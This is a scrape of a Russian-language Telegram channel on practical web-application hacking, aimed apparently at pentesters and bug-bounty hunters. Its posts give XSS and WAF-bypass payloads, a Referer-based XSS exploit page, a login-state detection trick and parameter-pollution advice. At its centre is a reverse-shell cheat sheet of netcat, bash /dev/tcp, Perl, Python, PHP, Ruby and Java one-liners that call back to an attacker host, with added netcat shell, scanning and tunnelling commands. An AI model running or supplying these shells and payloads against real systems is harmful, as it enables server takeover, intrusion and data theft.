Кавычка
16.4K subscribers
83 photos
2 videos
12 files
184 links
Практическая безопасность. Уязвимости и атаки на веб-приложения.

Чат @WebPwnChat

Только авторский контент, без репостов и рекламы (простите).

Вместо лайка:
https://t.iss.one/webpwn?boost

Платный канал:
https://t.iss.one/tribute/app?startapp=s2Vr
Download Telegram
Channel name was changed to «Кавычка»
Старый добрый трюк, залогинен ли пользователь на ресурсе или нет - https://bo0om.ru/zn2014/sd/
На примере VK. Если пользователь имеет активную сессию на ресурсе, произойдет перенаправление на существующий файл favicon.ico, поэтому у тега img сработает событие "onload". Если сессии нет - пользователя перенаправит на страницу аутентификации, а так как img не сможет загрузить изображение - выполнится событие "onerror".

<img src="https://login.vk.com/?role=fast&to=ZmF2aWNvbi5pY28-" onload="alert('Yeah!')" onerror="alert('Nope!')" style="display:none;">

https://jsfiddle.net/gq2dtk5b/

А вот целый сборник подобных рецептов, https://github.com/RobinLinus/socialmedia-leak
Совсем недавно чувак с именем fabrizio обошел Chrome XSS Auditor с помощью... Нульбайта. Точнее семи нульбайтов:

◼️.ws/example.php?xss=%3Chello%3E%00%00%00%00%00%00%00%3Cscript%3Ealert(%27pew%27)%3C/script%3E

Не менее забавная находка - незакрытый тег </script, с условием, что после него будет перенос строки:

◼️.ws/example.php?xss=%3Cscript%3Ealert(%27pew%27)%3C/script


¯\_(ツ)_/¯
Сеогня Google соламся. Он шлет нетсандаыртнй ткест к двуфхактонрой аутнетифкиации с ошикпами. Так он пыатется боростя со спмаерами. Виидмо не занет, что тескт смс матчат регуялркой по цирфам :)
Несколько векторов обхода для Incapsula WAF

И раз:

<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>


И два:

<img/src=q onerror='new Function`al\ert\`1\``'>
Кавычка
Несколько векторов обхода для Incapsula WAF И раз: <iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';> И два: <img/src=q onerror='new Function`al\ert\`1\``'>
— Джонни, мать твою, как это работает?

Я отвечу: я не Джонни 😩

В первом случае мы редиректим текущий url фрейма (this.src) на javascript:alert(). Про &Tab; я писал выше.

Не пускает точку? Например не проходит document.cookie?

Добавляем блоки document['cookie'] и точка нам больше не нужна (https://jsfiddle.net/raouvm1q/). Не пускает alert - разбиваем на две строки, "al"+"ert".

— Джонни, но как вызвать функцию без скобок?

Да не Джонни я!1! Вместо скобок можно использовать бэктики (ну вот этот вот знак - `). Этой клавишей можно не только вызывать консольку в игре, запомни её!

— Джонни, а что за al\ert(). Ты что нюхал?

Alert во втором случае будет строкой, а \e - это экранированная e, лол. А что будет если экранировать буквы? Ничего (https://jsfiddle.net/p8965gu7/). Только не пытайся экранировать зарезервированные символы, например писать \r (возврат каретки) и \t (знак табуляции) в том же alert'е, так работать не будет.
Старая-добрая коллекция бэкшеллов, когда сервер сам открывает соединение на подконтрольный ресурс, благодаря чему на с помощью выполнения произвольных команд операционной системы (RCE) можно получить привычную консольку для управления сервером.

Для того, чтобы слушать порт, на сервере 10.0.0.1 выполняем:

nc -lvp 1337

И остается только перенаправить поток /bin/sh на наш сервер, вот различные варианты развития событий :)

Netcat
nc -e /bin/sh 10.0.0.1 1337
nc -c /bin/sh 10.0.0.1 1337
/bin/sh | nc 10.0.0.1 1337

(или тоже самое с ncat вместо nc)

Bash
bash -i >& /dev/tcp/10.0.0.1/1337 0>&1

Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP
php -r '$sock=fsockopen("10.0.0.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java
r = Runtime.getRuntime()
p = r.exec(["/bin/sh","-c","exec 5<>/dev/tcp/10.0.0.1/1337;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()


Еще забавный вариант с пробросом X'ов:
xterm -display 10.0.0.1:1

На машине 10.0.0.1 - Xnest :1, вжух, и у нас удаленный рабочий стол.
Забавно, что в браузере Safari символ ; может восприниматься как =

<script>
location.href;'javascript:alert%281%29'
</script>


#xss #safari
XSS атаки с помощью Referer'а

Часто бывает, что веб-приложение вставляет на страницу сайт с которого перешел пользователь. И делает это без фильтрации данных. Основная проблема - современные браузеры преобразуют спецсимволы в их urlencode представления:

' в %27
" в %22
< и > в %3C и %3E соответственно.

Поэтому если сайт тупо вставляет содержимое заголовка Referer не декодируя ссылку, то с этим все сложно.

Ну разве что Internet Explorer, его параметры будут без URLENCODE. Перенаправив с такой страницы на уязвимую - выполнится наш js.

С адекватными браузерами не так гладко, однако Google Chrome не энкодит одинарные кавычки в пути (не в параметре). Поэтому если инъекция в одинарных кавычках атрибута или переменной в js, то эксплуатация не составит труда.

Для этого достаточно создать html страничку с подобным содержимым:


<script>
window.history.replaceState('', '', "/hello'-alert()-'/");
location.href="//vulnerabledomain/"
</script>


#xss #referer
Кавычка
XSS атаки с помощью Referer'а Часто бывает, что веб-приложение вставляет на страницу сайт с которого перешел пользователь. И делает это без фильтрации данных. Основная проблема - современные браузеры преобразуют спецсимволы в их urlencode представления:…
Более того, Internet Explorer - имеет забавную особенность, если перенаправить пользователя с помощью заголовка
Location: https://mysite/"><script>alert()</script>/, то путь также не будет преобразовываться в urlencode.
Может кому-то пригодится в bugbounty :)

#xss #bugbounty
Кавычка
Старая-добрая коллекция бэкшеллов, когда сервер сам открывает соединение на подконтрольный ресурс, благодаря чему на с помощью выполнения произвольных команд операционной системы (RCE) можно получить привычную консольку для управления сервером. Для того,…
Дополнение от Heartless'а.

Для MacOS timeout это -G, для Linux -w
Но они разные, для MacOS тоже есть -w, который работает после подключения.

Проверка наличия открытого TCP-порта 12345

MacOS $ nc -v -G2 192.168.1.100 12345
Linux $ nc -v -w2 192.168.1.100 12345


Сканирование TCP-портов с помощью netcat:

MacOS $ nc -G2 -vz 192.168.1.100 20-24
Linux $ nc -w2 -vz 192.168.1.100 20-24


Отправка UDP:

$ echo -n "foo" | nc -u -w1 192.168.1.100 161


Прием данных на UDP-порту и вывод принятых данных:

$ nc -v -u localhost 7777


После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать nc -lkv 0 7777

Если по каким-то причинам не работают шеллы через nc -e, то стоит проверить следующий вариант:

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0 1234 > /tmp/f 

А также "ncat -e"

Перенаправление портов

MacOS $ nc 127.0.0.1 22 <&1 | nc -lvk 3333 >&0
Linux $ mkfifo /tmp/bp; nc -lvk 12345 0</tmp/bp | nc 127.0.0.1 22 1>/tmp/bp


И еще немного: https://habrahabr.ru/company/pentestit/blog/336596/
Помнишь что такое Http Parameter Pollution?
Ну когда передаешь несколько параметров с одним именем, например, сайты на IIS забавно реагируют на такие данные. Они соединяют все переданные значения через запятую. К примеру, сайт пишет содержимое параметра id на страницу:

site.com/page.asp?id=AA

На странице покажет

<input name="id" value="AA">


А если передадим несколько параметров с одним именем

site.com/page.asp?id=AA&id=BB&id=CC


На страницу попадет
<input name="id" value="AA, BB, CC">


Так о чем это я
В ASP/ASP.NET часто бывает, что фильтрация пользовательских данных происходит только в первом элементе, поэтому важно попробовать дублировать параметры запроса и передавать атакующие пэйлоады уже туда.
Еще нет такого плагина для burp suite? 🤔

#XSS #IIS #ASP
Используем (костыли) виртуалку (назовем ее proxyhost) для доступа в интернет с удаленной машины за натом.

На тачке, чей IP нужно получить, нужно предварительно поднять ssh-сервер и создать юзера guest, далее вводим:
ssh proxyhost -R 2222:localhost:22

Тем самым мы пробрасываем порт 22 (ssh) на удаленную тачку, можно также указать ключ -N чтоб не держать терминал открытым.

На клиенте (кому интернет), пишем следующее заклинание:
ssh -t -L 8888:localhost:8888 proxyhost ssh guest@localhost -p 2222 -D 8888

Нужно будет ввести пароль от guest (ну или не вводить, если используются ssh-ключи).

В результате у нас будет поднят socket на порту 8888, его можно ввести в браузер (или использовать в любом другом софте).
This media is not supported in your browser
VIEW IN TELEGRAM
В burp suite обнаружена уязвимость выполнения произвольного кода. Ты пытаешься атаковать сайт, а сайт атакует тебя)
Невероятно, но факт: hh.ru сканирует локальные порты. Глупышки, зачем стучаться на 22 порт, Chrome вернет ERR_UNSAFE_PORT
Полезные плагины для Chrome

Vulners Web Scanner
Сканер уязвимостей на основе версий используемого софта на сайте
https://chrome.google.com/webstore/detail/vulners-web-scanner/dgdelbjijbkahooafjfnonijppnffhmd

HTML5 Storage Manager All in One
Позволяет редактировать Cookie, Local Storage и indexedDB сайтов
https://chrome.google.com/webstore/detail/html5-storage-manager-all/giompennnhheakjcnobejbnjgbbkmdnd

Chrome HTTP Monitor
Показывает заголовки и время загрузки сайта
https://chrome.google.com/webstore/detail/chrome-http-monitor/maceikgnmfpfbciilpapjdogebnanahg

Wappalyzer
Определяет используемые на сайте CMS, JS библиотеки. Не забудь отключить анонимную стучалку в настройках
https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg

Shodan
Удобен тем, что позволяет посмотреть не только открытые порты, но и страну и организацию ip домена
https://chrome.google.com/webstore/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap

Clickjacking Test
Ничего сложного, просто открывает сайт в фрейме и позволяет сгенерить простой PoC для сайтов без X-Frame-Options
https://chrome.google.com/webstore/detail/clickjacking-test/bjhigladkmnpmglhcnpeiplekpanekpi

FoxyProxy Basic
Создаешь профили с различными настройками прокси и быстро переключаешься между ними
https://chrome.google.com/webstore/detail/foxyproxy-basic/dookpfaalaaappcdneeahomimbllocnb
Забавная смесь логических ошибок превращается в обход SOP браузера. Заходишь по ссылке - данные любых сайтов улетают злоумышленнику (UXSS). Обновляйтесь!

https://github.com/Bo0oM/CVE-2017-7089
Многие тулзы, например nmap, требуют рута для нормальной работы. Но если тебе надоело писать каждый раз sudo и не хочется раскидываться suid'ами, то можно воспользоваться linux capabilities и выдать только определённые привилегии.

Для Nmap надо выставить следующие :
sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmap
и добавить в переменные окружения (в ~/.bashrc, например):
export NMAP_PRIVILEGED=""

Для ncat требуется:
sudo setcap cap_net_bind_service+eip /usr/bin/ncat

Для Wireshark:
setcap cap_net_raw,cap_net_admin+eip /usr/bin/dumpcap
Плюс возможно добавить прав на исполнение:
sudo chmod o+x /usr/bin/dumpcap

После этого тулзы можно запускать без sudo, под обычным юзером
Кавычка
Предательство Safari. Чтение локальных файлов с дальнейшей отправкой на сервер помощью html документа. https://xakep.ru/2017/07/06/safari-localfile-read/ https://github.com/Bo0oM/Safiler
Помните, как мы пробовали читать локальные файлы в Safari?
Оказывается, есть еще одна особенность этого замечательного браузера! Если файл скачан из интернета - читать файлы напрямую нельзя. Но не совсем. Ведь скачанным файлом можно создать еще один html файл (который появится рядом с оригинальным) и открыть на него фрейм!
Вот демонстрация эксплойта, в котором пользователю отдается html файл, если открыть его в Safari, будет попытка слить всякие логины/пароли на локальные сервер (в консоле будут соответствующие ошибки, а если запустить оригинальный python сервер, файлы появятся в соответствующей папке).

Демонстрация:
https://bo0om.ru/safari_poc/